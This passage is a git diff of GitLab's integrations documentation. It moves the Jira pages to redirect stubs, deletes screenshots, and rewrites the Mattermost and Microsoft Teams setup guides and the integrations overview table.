a/doc/user/project/integrations/img/github_configuration.png b/doc/user/project/integrations/img/github_configuration.png Binary files differdeleted file mode 100644 index 5798b826681..00000000000 --- a/doc/user/project/integrations/img/github_configuration.png +++ /dev/null diff --git a/doc/user/project/integrations/img/jira_add_user_to_group.png b/doc/user/project/integrations/img/jira_add_user_to_group.png Binary files differdeleted file mode 100644 index b63a851a987..00000000000 --- a/doc/user/project/integrations/img/jira_add_user_to_group.png +++ /dev/null diff --git a/doc/user/project/integrations/img/jira_api_token.png b/doc/user/project/integrations/img/jira_api_token.png Binary files differdeleted file mode 100644 index d9d37713a4d..00000000000 --- a/doc/user/project/integrations/img/jira_api_token.png +++ /dev/null diff --git a/doc/user/project/integrations/img/jira_api_token_menu.png b/doc/user/project/integrations/img/jira_api_token_menu.png Binary files differdeleted file mode 100644 index a10a59a243d..00000000000 --- a/doc/user/project/integrations/img/jira_api_token_menu.png +++ /dev/null diff --git a/doc/user/project/integrations/img/jira_create_new_user.png b/doc/user/project/integrations/img/jira_create_new_user.png Binary files differdeleted file mode 100644 index c74933298e3..00000000000 --- a/doc/user/project/integrations/img/jira_create_new_user.png +++ /dev/null diff --git a/doc/user/project/integrations/img/jira_group_access.png b/doc/user/project/integrations/img/jira_group_access.png Binary files differdeleted file mode 100644 index e33f2eed242..00000000000 --- a/doc/user/project/integrations/img/jira_group_access.png +++ /dev/null diff --git a/doc/user/project/integrations/img/jira_user_management_link.png b/doc/user/project/integrations/img/jira_user_management_link.png Binary files differdeleted file mode 100644 index caecd1d71fc..00000000000 --- a/doc/user/project/integrations/img/jira_user_management_link.png +++ /dev/null diff --git a/doc/user/project/integrations/img/mattermost_configuration_v2.png b/doc/user/project/integrations/img/mattermost_configuration_v2.png Binary files differdeleted file mode 100644 index 0470869c4f7..00000000000 --- a/doc/user/project/integrations/img/mattermost_configuration_v2.png +++ /dev/null diff --git a/doc/user/project/integrations/img/microsoft_teams_configuration.png b/doc/user/project/integrations/img/microsoft_teams_configuration.png Binary files differdeleted file mode 100644 index 22ad28e3f73..00000000000 --- a/doc/user/project/integrations/img/microsoft_teams_configuration.png +++ /dev/null diff --git a/doc/user/project/integrations/img/redmine_configuration.png b/doc/user/project/integrations/img/redmine_configuration.png Binary files differdeleted file mode 100644 index eb392b848b5..00000000000 --- a/doc/user/project/integrations/img/redmine_configuration.png +++ /dev/null diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md index 5628a9bc5e5..c7772ac2238 100644 --- a/doc/user/project/integrations/index.md +++ b/doc/user/project/integrations/index.md @@ -12,11 +12,14 @@ You can find the available integrations under your project's ## Integrations -Integrations allow you to integrate GitLab with other applications. -They are a bit like plugins in that they allow a lot of freedom in -adding functionality to GitLab. - -Learn more [about integrations](overview.md). +Like plugins, integrations allow you to integrate GitLab with other applications, adding additional features. +For more information, read the +[overview of integrations](overview.md) or learn how to manage your integrations: + +- *For GitLab 13.3 and later,* read [Project integration management](../../admin_area/settings/project_integration_management.md). +- *For GitLab 13.2 and earlier,* read [Service Templates](services_templates.md), + which are deprecated and [scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032) + in GitLab 14.0. ## Project webhooks diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md index e75561b3ddb..295300fb55d 100644 --- a/doc/user/project/integrations/irker.md +++ b/doc/user/project/integrations/irker.md @@ -23,7 +23,7 @@ git clone https://gitlab.com/esr/irker.git Once you have downloaded the code, you can run the Python script named `irkerd`. This script is the gateway script, it acts both as an IRC client, for sending -messages to an IRC server obviously, and as a TCP server, for receiving messages +messages to an IRC server, and as a TCP server, for receiving messages from the GitLab service. If the Irker server runs on the same machine, you are done. If not, you diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md index 0878e1c9386..b91a8a1fb3b 100644 --- a/doc/user/project/integrations/jira.md +++ b/doc/user/project/integrations/jira.md @@ -1,306 +1,8 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../../../integration/jira/index.md' --- -# GitLab Jira integration **(FREE)** +This document was moved to [another location](../../../integration/jira/index.md). -You can use Jira to track work implemented in GitLab. The Jira integration with GitLab makes the -process of working across these systems more efficient. - -The GitLab Jira integration, available in every GitLab project by default, allows you to connect -to any Jira instance, whether on Atlassian cloud or self-managed. - -You can also install the [Jira Development Panel integration](../../../integration/jira_development_panel.md). -For more information about the differences between the two integrations, see -[Jira integrations](jira_integrations.md). - -After you set up this integration, you can cross-reference activity in the GitLab project with any -of your projects in Jira. This includes the ability to close or transition Jira issues when work is -completed in GitLab and: - -- Mention a Jira issue ID in a commit message or MR (merge request) and: - - GitLab links to the Jira issue. - - The Jira issue adds a comment with details and a link back to the activity in GitLab. -- Mention that a commit or MR resolves or closes a specific Jira issue and when it's merged to the default branch: - - The GitLab MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they close. - - The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings. -- Run a pipeline on an MR linked to a Jira issue: - - The Jira issue shows the current pipeline status (in the sidebar as "builds"). -- Deploy to an environment from an MR linked to a Jira issue: - - The Jira issue shows the status of the deployment (in the sidebar as "deployments"). -- Create or modify a feature flag that mentions a Jira issue in its description: - - The Jira issue shows the details of the feature-flag (in the sidebar as "feature flags"). -- View a list of Jira issues directly in GitLab. **(PREMIUM)** -- Create a Jira issue from a vulnerability. **(ULTIMATE)** - -Additional features provided by the Jira Development Panel integration include: - -- In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests. -- Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition. -- Showing pipeline, deployment, and feature flags in Jira issues. - -## Configuration - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be). - -Each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab -project can interact with _all_ Jira projects in that instance, once configured. For: - -- The [view Jira issues](#view-jira-issues) feature, you must associate a GitLab project with a - specific Jira project. -- Other features, you do not have to explicitly associate a GitLab project with any single Jira - project. - -If you have one Jira instance, you can pre-fill the settings. For more information, see the -documentation for: - -- [Project integration management](../../admin_area/settings/project_integration_management.md). -- [Services Templates](services_templates.md). - -To enable the Jira service in GitLab, you must: - -1. Configure the project in Jira. -1. Enter the correct values in GitLab. - -### Configure Jira - -The process for configuring Jira depends on whether you host Jira on your own server or on -[Atlassian cloud](https://www.atlassian.com/cloud). - -#### Jira Server - -Jira Server supports basic authentication. When connecting, a **username and password** are -required. Connecting to Jira Server via CAS is not possible. For more information, see -[set up a user in Jira Server](jira_server_configuration.md). - -#### Jira on Atlassian cloud - -Jira on Atlassian cloud supports authentication through an API token. When connecting to Jira on -Atlassian cloud, an **email and API token** are required. For more information, see -[set up a user in Jira on Atlassian cloud](jira_cloud_configuration.md). - -### Configure GitLab - -> **Notes:** -> -> - The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`. -> - In order to support Oracle's Access Manager, GitLab sends additional cookies -> to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with -> a value of `fromDialog`. - -To enable the Jira integration in a project: - -1. Go to the project's [Integrations page](overview.md#accessing-integrations) and select the - **Jira** service. - -1. Select **Enable integration**. - -1. Select **Trigger** actions. - This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both, - should link the Jira issue back to that source commit/MR and transition the Jira issue, if - indicated. - -1. To include a comment on the Jira issue when the above reference is made in GitLab, select - **Enable comments**. - - 1. Select the **Comment detail**: **Standard** or **All details**. - -1. Enter the further details on the page as described in the following table. - - | Field | Description | - | ----- | ----------- | - | `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. For example, `https://jira.example.com`. | - | `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira on Atlassian cloud**. | - | `Username or Email` | Created in [configure Jira](#configure-jira) step. Use `username` for **Jira Server** or `email` for **Jira on Atlassian cloud**. | - | `Password/API token` | Created in [configure Jira](#configure-jira) step. Use `password` for **Jira Server** or `API token` for **Jira on Atlassian cloud**. | - | `Jira workflow transition IDs` | Required for closing Jira issues via commits or merge requests. These are the IDs of transitions in Jira that move issues to a particular state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. In GitLab 13.6 and earlier, field was called `Transition ID`. | - -1. To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and - enter a Jira project key. **(PREMIUM)** - - You can only display issues from a single Jira project within a given GitLab project. - - WARNING: - If you enable Jira issues with the setting above, all users that have access to this GitLab project - are able to view all issues from the specified Jira project. - -1. To enable creation of issues for vulnerabilities, select **Enable Jira issues creation from vulnerabilities**. - - 1. Select the **Jira issue type**. If the dropdown is empty, select refresh (**{retry}**) and try again. - -1. To verify the Jira connection is working, select **Test settings**. - -1. Select **Save changes**. - -Your GitLab project can now interact with all Jira projects in your instance and the project now -displays a Jira link that opens the Jira project. - -#### Obtaining a transition ID - -In the most recent Jira user interface, you can no longer see transition IDs in the workflow -administration UI. You can get the ID you need in either of the following ways: - -1. By using the API, with a request like `https://yourcompany.atlassian.net/rest/api/2/issue/ISSUE-123/transitions` - using an issue that is in the appropriate "open" state -1. By mousing over the link for the transition you want and looking for the - "action" parameter in the URL - -Note that the transition ID may vary between workflows (for example, bug vs. story), -even if the status you are changing to is the same. - -#### Disabling comments on Jira issues - -You can continue to have GitLab cross-link a source commit/MR with a Jira issue while disabling the comment added to the issue. - -See the [Configure GitLab](#configure-gitlab) section and uncheck the **Enable comments** setting. - -## Jira issues - -By now you should have [configured Jira](#configure-jira) and enabled the -[Jira service in GitLab](#configure-gitlab). If everything is set up correctly -you should be able to reference and close Jira issues by just mentioning their -ID in GitLab commits and merge requests. - -Jira issue IDs must be formatted in uppercase for the integration to work. - -### Reference Jira issues - -When GitLab project has Jira issue tracker configured and enabled, mentioning -Jira issues in GitLab automatically adds a comment in Jira issue with the -link back to GitLab. This means that in comments in merge requests and commits -referencing an issue, `PROJECT-7` for example, adds a comment in Jira issue in the -format: - -```plaintext -USER mentioned this issue in RESOURCE_NAME of [PROJECT_NAME|LINK_TO_COMMENT]: -ENTITY_TITLE -``` - -- `USER` A user that mentioned the issue. This is the link to the user profile in GitLab. -- `LINK_TO_THE_COMMENT` Link to the origin of mention with a name of the entity where Jira issue was mentioned. -- `RESOURCE_NAME` Kind of resource which referenced the issue. Can be a commit or merge request. -- `PROJECT_NAME` GitLab project name. -- `ENTITY_TITLE` Merge request title or commit message first line. - - - -For example, the following commit references the Jira issue with `PROJECT-1` as its ID: - -```shell -git commit -m "PROJECT-1 Fix spelling and grammar" -``` - -### Close Jira issues - -Jira issues can be closed directly from GitLab by using trigger words in -commits and merge requests. When a commit which contains the trigger word -followed by the Jira issue ID in the commit message is pushed, GitLab -adds a comment in the mentioned Jira issue and immediately closes it (provided -the transition ID was set up correctly). - -There are currently three trigger words, and you can use either one to achieve -the same goal: - -- `Resolves PROJECT-1` -- `Closes PROJECT-1` -- `Fixes PROJECT-1` - -where `PROJECT-1` is the ID of the Jira issue. - -Note the following: - -- Only commits and merges into the project's default branch (usually `master`) - close an issue in Jira. You can change your project's default branch under - [project settings](img/jira_project_settings.png). -- The Jira issue is not transitioned if it has a resolution. - -Let's consider the following example: - -1. For the project named `PROJECT` in Jira, we implemented a new feature - and created a merge request in GitLab. -1. This feature was requested in Jira issue `PROJECT-7` and the merge request - in GitLab contains the improvement -1. In the merge request description we use the issue closing trigger - `Closes PROJECT-7`. -1. Once the merge request is merged, the Jira issue is automatically closed - with a comment and an associated link to the commit that resolved the issue. - -In the following screenshot you can see what the link references to the Jira -issue look like. - - - -Once this merge request is merged, the Jira issue is automatically closed -with a link to the commit that resolved the issue. - - - -### View Jira issues **(PREMIUM)** - -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3622) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2. - -You can browse and search issues from a selected Jira project directly in GitLab. This requires [configuration](#configure-gitlab) in GitLab by an administrator. - - - -From the **Jira Issues** menu, click **Issues List**. The issue list defaults to sort by **Created date**, with the newest issues listed at the top. You can change this to **Last updated**. - -Issues are grouped into tabs based on their [Jira status](https://confluence.atlassian.com/adminjiraserver070/defining-status-field-values-749382903.html). - -- The **Open** tab displays all issues with a Jira status in any category other than Done. -- The **Closed** tab displays all issues with a Jira status categorized as Done. -- The **All** tab displays all issues of any status. - -Click an issue title to open its original Jira issue page for full details. - -#### Search and filter the issues list - -To refine the list of issues, use the search bar to search for any text -contained in an issue summary (title) or description. - -You can also filter by labels, status, reporter, and assignee using URL parameters. -Enhancements to be able to use these through the user interface are [planned](https://gitlab.com/groups/gitlab-org/-/epics/3622). - -- To filter issues by `labels`, specify one or more labels as part of the `labels[]` -parameter in the URL. When using multiple labels, only issues that contain all specified -labels are listed. `/-/integrations/jira/issues?labels[]=backend&labels[]=feature&labels[]=QA` - -- To filter issues by `status`, specify the `status` parameter in the URL. -`/-/integrations/jira/issues?status=In Progress` - -- To filter issues by `reporter`, specify a reporter's Jira display name for the -`author_username` parameter in the URL. `/-/integrations/jira/issues?author_username=John Smith` - -- To filter issues by `assignee`, specify their Jira display name for the -`assignee_username` parameter in the URL. `/-/integrations/jira/issues?assignee_username=John Smith` - -## Troubleshooting - -If these features do not work as expected, it is likely due to a problem with the way the integration settings were configured. - -### GitLab is unable to comment on a Jira issue - -Make sure that the Jira user you set up for the integration has the -correct access permission to post comments on a Jira issue and also to transition -the issue, if you'd like GitLab to also be able to do so. -Jira issue references and update comments do not work if the GitLab issue tracker is disabled. - -### GitLab is unable to close a Jira issue - -Make sure the `Transition ID` you set within the Jira settings matches the one -your project needs to close an issue. - -Make sure that the Jira issue is not already marked as resolved; that is, -the Jira issue resolution field is not set. (It should not be struck through in -Jira lists.) - -### CAPTCHA - -CAPTCHA may be triggered after several consecutive failed login attempts -which may lead to a `401 unauthorized` error when testing your Jira integration. -If CAPTCHA has been triggered, you can't use Jira's REST API to -authenticate with the Jira site. You need to log in to your Jira instance -and complete the CAPTCHA. +<!-- This redirect file can be deleted after 2021-07-07. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md index 8e25af3f884..b3091275835 100644 --- a/doc/user/project/integrations/jira_cloud_configuration.md +++ b/doc/user/project/integrations/jira_cloud_configuration.md @@ -1,27 +1,8 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../../../integration/jira/jira_cloud_configuration.md' --- -# Create an API token in Jira on Atlassian cloud **(FREE)** +This document was moved to [another location](../../../integration/jira/jira_cloud_configuration.md). -For [integrations with Jira](jira.md), an API token is needed when integrating with Jira -on Atlassian cloud. To create an API token: - -1. Log in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens) with your email address. - - NOTE: - It is important that the user associated with this email address has *write* access - to projects in Jira. - -1. Click **Create API token**. - -  - -1. Click **Copy**, or click **View** and write down the new API token. It is required when [configuring GitLab](jira.md#configure-gitlab). - -  - -The Jira configuration is complete. You need the newly created token, and the associated email -address, when [configuring GitLab](jira.md#configure-gitlab). +<!-- This redirect file can be deleted after <2021-06-18>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md index 6b938238320..485b48df01b 100644 --- a/doc/user/project/integrations/jira_integrations.md +++ b/doc/user/project/integrations/jira_integrations.md @@ -1,56 +1,8 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../../../integration/jira/index.md' --- -# Jira integrations **(FREE)** +This document was moved to [another location](../../../integration/jira/index.md). -GitLab can be integrated with [Jira](https://www.atlassian.com/software/jira). - -[Issues](../issues/index.md) are a tool for discussing ideas, and planning and tracking work. -However, your organization may already use Jira for these purposes, with extensive, established data -and business processes they rely on. - -Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work -exclusively in GitLab, you can also continue to use Jira by using the GitLab Jira integrations. - -## Integration types - -There are two different Jira integrations that allow different types of cross-referencing between -GitLab activity and Jira issues, with additional features: - -- [Jira integration](jira.md), built in to GitLab. In a given GitLab project, it can be configured - to connect to any Jira instance, either hosted by you or hosted in - [Atlassian cloud](https://www.atlassian.com/cloud). -- [Jira development panel integration](../../../integration/jira_development_panel.md). Connects all - GitLab projects under a specified group or personal namespace. - -Jira development panel integration configuration depends on whether: - -- You're using GitLab.com or a self-managed GitLab instance. -- You're using Jira on [Atlassian cloud](https://www.atlassian.com/cloud) or on your own server. - -| You use Jira on: | For the Jira development panel integration, GitLab.com customers need: | For the Jira development panel integration, GitLab self-managed customers need: | -|:-------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Atlassian cloud | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See a [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/268278) for more information. | -| Your own server | The [Jira DVCS connector](../../../integration/jira_development_panel.md). | The [Jira DVCS connector](../../../integration/jira_development_panel.md). | - -NOTE: -DVCS means distributed version control system. - -## Feature comparison - -The integration to use depends on the capabilities your require. You can install both at the same -time. - -| Capability | Jira integration | Jira Development Panel integration | -|:----------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------| -| Mention of Jira issue ID in GitLab is automatically linked to that issue | Yes | No | -| Mention of Jira issue ID in GitLab issue/MR is reflected in the Jira issue | Yes, as a Jira comment with the GitLab issue/MR title and a link back to it. Its first mention also adds the GitLab page to the Jira issue under “Web links”. | Yes, in the issue’s Development panel | -| Mention of Jira issue ID in GitLab commit message is reflected in the issue | Yes. The entire commit message is added to the Jira issue as a comment and under “Web links”, each with a link back to the commit in GitLab. | Yes, in the issue’s Development panel and optionally with a custom comment on the Jira issue using Jira Smart Commits. | -| Mention of Jira issue ID in GitLab branch names is reflected in Jira issue | No | Yes, in the issue’s Development panel | -| Record Jira time tracking information against an issue | No | Yes. Time can be specified via Jira Smart Commits. | -| Transition or close a Jira issue with a Git commit or merge request | Yes. Only a single transition type, typically configured to close the issue by setting it to Done. | Yes. Transition to any state using Jira Smart Commits. | -| Display a list of Jira issues | Yes **(PREMIUM)** | No | -| Create a Jira issue from a vulnerability or finding **(ULTIMATE)** | Yes | No | +<!-- This redirect file can be deleted after <2021-07-13>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md index b1ab2076dc0..191b8f207a1 100644 --- a/doc/user/project/integrations/jira_server_configuration.md +++ b/doc/user/project/integrations/jira_server_configuration.md @@ -1,68 +1,8 @@ --- -stage: Create -group: Ecosystem -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../../../integration/jira/jira_server_configuration.md' --- -# Create Jira Server username and password **(FREE)** +This document was moved to [another location](../../../integration/jira/jira_server_configuration.md). -For [integrations with Jira](jira.md), you must create a user account in Jira to have access to -all projects that need to integrate with GitLab. - -The Jira user account created for the integration must have write access to -your Jira projects. - -As an example, the following process creates a user named `gitlab` and that's a -member of a new group named `gitlab-developers`: - -1. Sign in to your Jira instance as an administrator, and - then go to the gear icon and select **User Management**. - -  - -1. Create a new user account (for example, `gitlab`) with write access to - projects in Jira. Enter the user account's name and a valid e-mail address, - because Jira sends a verification email to set up the password. - - Jira creates the username by using the email prefix. You can change the - username later, if needed. The GitLab integration doesn't support SSO (such - as SAML). You need to create an HTTP basic authentication password. You can - do this by visiting the user profile, looking up the username, and setting a - password. - -  - -1. From the sidebar, select **Groups**. - -  - -1. In the **Add group** section, enter a **Name** for the group (for example, - `gitlab-developers`), and then select **Add group**. - -1. Add the `gitlab` user to the `gitlab-developers` group by selecting **Edit members**. - The `gitlab-developers` group should be listed in the leftmost box as a - selected group. In the **Add members to selected group(s)** area, enter `gitlab`. - -  - - Select **Add selected users**, and `gitlab` should appear in the **Group member(s)** - area. This membership is saved automatically. - -  - -1. To give the newly-created group 'write' access, you must create a permission - scheme. To do this, in the admin menu, go to the gear icon and select **Issues**. - -1. From the sidebar, select **Permission Schemes**. - -1. Select **Add Permission Scheme**, enter a **Name** and (optionally) a - **Description**, and then select **Add**. - -1. In the permissions scheme list, locate your new permissions scheme, and - select **Permissions**. Next to **Administer Projects**, select **Edit**. In - the **Group** list, select `gitlab-developers`. - -  - -The Jira configuration is complete. Write down the new Jira username and its -password, as you need them when [configuring GitLab](jira.md#configure-gitlab). +<!-- This redirect file can be deleted after <2021-06-18>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md index 6a93fc0fb06..0a32119d572 100644 --- a/doc/user/project/integrations/mattermost.md +++ b/doc/user/project/integrations/mattermost.md @@ -4,18 +4,23 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Mattermost Notifications Service **(FREE)** +# Mattermost notifications service **(FREE)** -The Mattermost Notifications Service allows your GitLab project to send events (e.g., `issue created`) to your existing Mattermost team as notifications. This requires configurations in both Mattermost and GitLab. +Use the Mattermost notifications service to send notifications for GitLab events +(for example, `issue created`) to Mattermost. You must configure both [Mattermost](#configure-mattermost-to-receive-gitlab-notifications) +and [GitLab](#configure-gitlab-to-send-notifications-to-mattermost). -You can also use Mattermost slash commands to control GitLab inside Mattermost. This is the separately configured [Mattermost slash commands](mattermost_slash_commands.md). +You can also use [Mattermost slash commands](mattermost_slash_commands.md) to control +GitLab inside Mattermost. -## On Mattermost +## Configure Mattermost to receive GitLab notifications -To enable Mattermost integration you must create an incoming webhook integration: +To use the Mattermost integration you must create an incoming webhook integration +in Mattermost: 1. Sign in to your Mattermost instance. -1. Visit incoming webhooks, that is something like: `https://mattermost.example.com/your_team_name/integrations/incoming_webhooks/add`. +1. [Enable incoming webhooks](https://docs.mattermost.com/developer/webhooks-incoming.html#enabling-incoming-webhooks). +1. [Add an incoming webhook](https://docs.mattermost.com/developer/webhooks-incoming.html#creating-integrations-using-incoming-webhooks). 1. Choose a display name, description and channel, those can be overridden on GitLab. 1. Save it and copy the **Webhook URL** because we need this later for GitLab. @@ -29,36 +34,24 @@ to enable it on: Display name override is not enabled by default, you need to ask your administrator to enable it on that same section. -## On GitLab +## Configure GitLab to send notifications to Mattermost -After you set up Mattermost, it's time to set up GitLab. +After the Mattermost instance has an incoming webhook set up, you can set up GitLab +to send the notifications. Navigate to the [Integrations page](overview.md#accessing-integrations) -and select the **Mattermost notifications** service to configure it. -There, you see a checkbox with the following events that can be triggered: +and select the **Mattermost notifications** service. Select the GitLab events +you want to generate notifications for. -- Push -- Issue -- Confidential issue -- Merge request -- Note -- Confidential note -- Tag push -- Pipeline -- Wiki page -- Deployment +For each event you select, input the Mattermost channel you want to receive the +notification. You do not need to add the hash sign (`#`). -Below each of these event checkboxes, you have an input field to enter -which Mattermost channel you want to send that event message. Enter your preferred channel handle (the hash sign `#` is optional). - -At the end, fill in your Mattermost details: +Then fill in the integration configuration: | Field | Description | | ----- | ----------- | -| **Webhook** | The incoming webhook URL which you have to set up on Mattermost, similar to: `http://mattermost.example/hooks/5xo…` | -| **Username** | Optional username which can be on messages sent to Mattermost. Fill this in if you want to change the username of the bot. | -| **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. | -| **Branches to be notified** | Select which types of branches to send notifications for. | -| **Labels to be notified** | Optional labels that the issue or merge request must have in order to trigger a notification. Leave blank to get all notifications. | - - +| **Webhook** | The incoming webhook URL on Mattermost, similar to: `http://mattermost.example/hooks/5xo…`. | +| **Username** | (Optional) The username to show on messages sent to Mattermost. Fill this in to change the username of the bot. | +| **Notify only broken pipelines** | If you enable the **Pipeline** event and you want to be notified about failed pipelines only. | +| **Branches to be notified** | Select which branches to send notifications for. | +| **Labels to be notified** | (Optional) Labels that the issue or merge request must have to trigger a notification. Leave blank to get notifications for all issues and merge requests. | diff --git a/doc/user/project/integrations/microsoft_teams.md b/doc/user/project/integrations/microsoft_teams.md index 41e0938fc3b..795ead573f2 100644 --- a/doc/user/project/integrations/microsoft_teams.md +++ b/doc/user/project/integrations/microsoft_teams.md @@ -6,49 +6,55 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Microsoft Teams service **(FREE)** -## On Microsoft Teams +You can integrate Microsoft Teams with GitLab, and display notifications about GitLab projects +in Microsoft Teams. To integrate the services, you must: -To enable Microsoft Teams integration you must create an incoming webhook integration on Microsoft -Teams by following the steps below: +1. [Configure Microsoft Teams](#configure-microsoft-teams) to enable a webhook + to listen for changes. +1. [Configure your GitLab project](#configure-your-gitlab-project) to push notifications + to the Microsoft Teams webhook. -1. Search for "incoming webhook" on the search bar in Microsoft Teams and select the - **Incoming Webhook** item. +## Configure Microsoft Teams + +To configure Microsoft Teams to listen for notifications from GitLab: + +1. In Microsoft Teams, search for "incoming webhook" in the search bar, and select the + **Incoming Webhook** item:  -1. Click the **Add to a team** button. +1. Select **Add to a team**. 1. Select the team and channel you want to add the integration to. 1. Add a name for the webhook. The name is displayed next to every message that comes in through the webhook. -1. Copy the webhook URL for the next steps. - -Learn more about -[setting up an incoming webhook on Microsoft Teams](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using#setting-up-a-custom-incoming-webhook). - -## On GitLab - -After you set up Microsoft Teams, it's time to set up GitLab. - -Navigate to the [Integrations page](overview.md#accessing-integrations) -and select the **Microsoft Teams Notification** service to configure it. -There, you see a checkbox with the following events that can be triggered: - -- Push -- Issue -- Confidential issue -- Merge request -- Note -- Tag push -- Pipeline -- Wiki page - -At the end fill in your Microsoft Teams details: - -| Field | Description | -| ----- | ----------- | -| **Webhook** | The incoming webhook URL which you have to set up on Microsoft Teams. | -| **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. | - -After you are all done, click **Save changes** for the changes to take effect. - - +1. Copy the webhook URL, as you need it to configure GitLab. + +## Configure your GitLab project + +After you configure Microsoft Teams to receive notifications, you must configure +GitLab to send the notifications: + +1. Sign in to GitLab as a user with [Administrator](../../permissions.md) and go + to your project's page. +1. Go to **Settings > Integrations** and select **Microsoft Teams Notification**. +1. Select **Active** to enable the integration. +1. Select the check box next to each **Trigger** to enable: + - Push + - Issue + - Confidential issue + - Merge request + - Note + - Confidential note + - Tag push + - Pipeline - If you enable this trigger, you can also select **Notify only broken pipelines** to be notified only about failed pipelines. + - Wiki page +1. In **Webhook**, paste the URL you copied when you + [configured Microsoft Teams](#configure-microsoft-teams). +1. (Optional) If you enabled the pipeline trigger, you can select the + **Notify only broken pipelines** check box to push notifications only when pipelines break. +1. Select the branches you want to send notifications for. +1. Click **Save changes**. + +## Resources + +- [Setting up an incoming webhook on Microsoft Teams](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using#setting-up-a-custom-incoming-webhook). diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md index f6590b6ba2f..ef1f492bfbf 100644 --- a/doc/user/project/integrations/overview.md +++ b/doc/user/project/integrations/overview.md @@ -24,45 +24,43 @@ want to configure. Click on the service links to see further configuration instructions and details. -| Service | Description | Service Hooks | -| ------- | ----------- | ------------- | -| Asana | Asana - Teamwork without email | No | -| Assembla | Project Management Software (Source Commits Endpoint) | No | -| [Atlassian Bamboo CI](bamboo.md) | A continuous integration and build server | Yes | -| Buildkite | Continuous integration and deployments | Yes | -| [Bugzilla](bugzilla.md) | Bugzilla issue tracker | No | -| Campfire | Simple web-based real-time group chat | No | -| [Confluence](../../../api/services.md#confluence-service) | Replaces the link to the internal wiki with a link to a Confluence Cloud Workspace | No | -| Custom Issue Tracker | Custom issue tracker | No | -| [Discord Notifications](discord_notifications.md) | Receive event notifications in Discord | No | -| Drone CI | Continuous Integration platform built on Docker, written in Go | Yes | -| [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No | -| External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No | -| Flowdock | Flowdock is a collaboration web app for technical teams | No | -| [Generic alerts](../../../operations/incident_management/integrations.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No | -| [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No | -| [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google 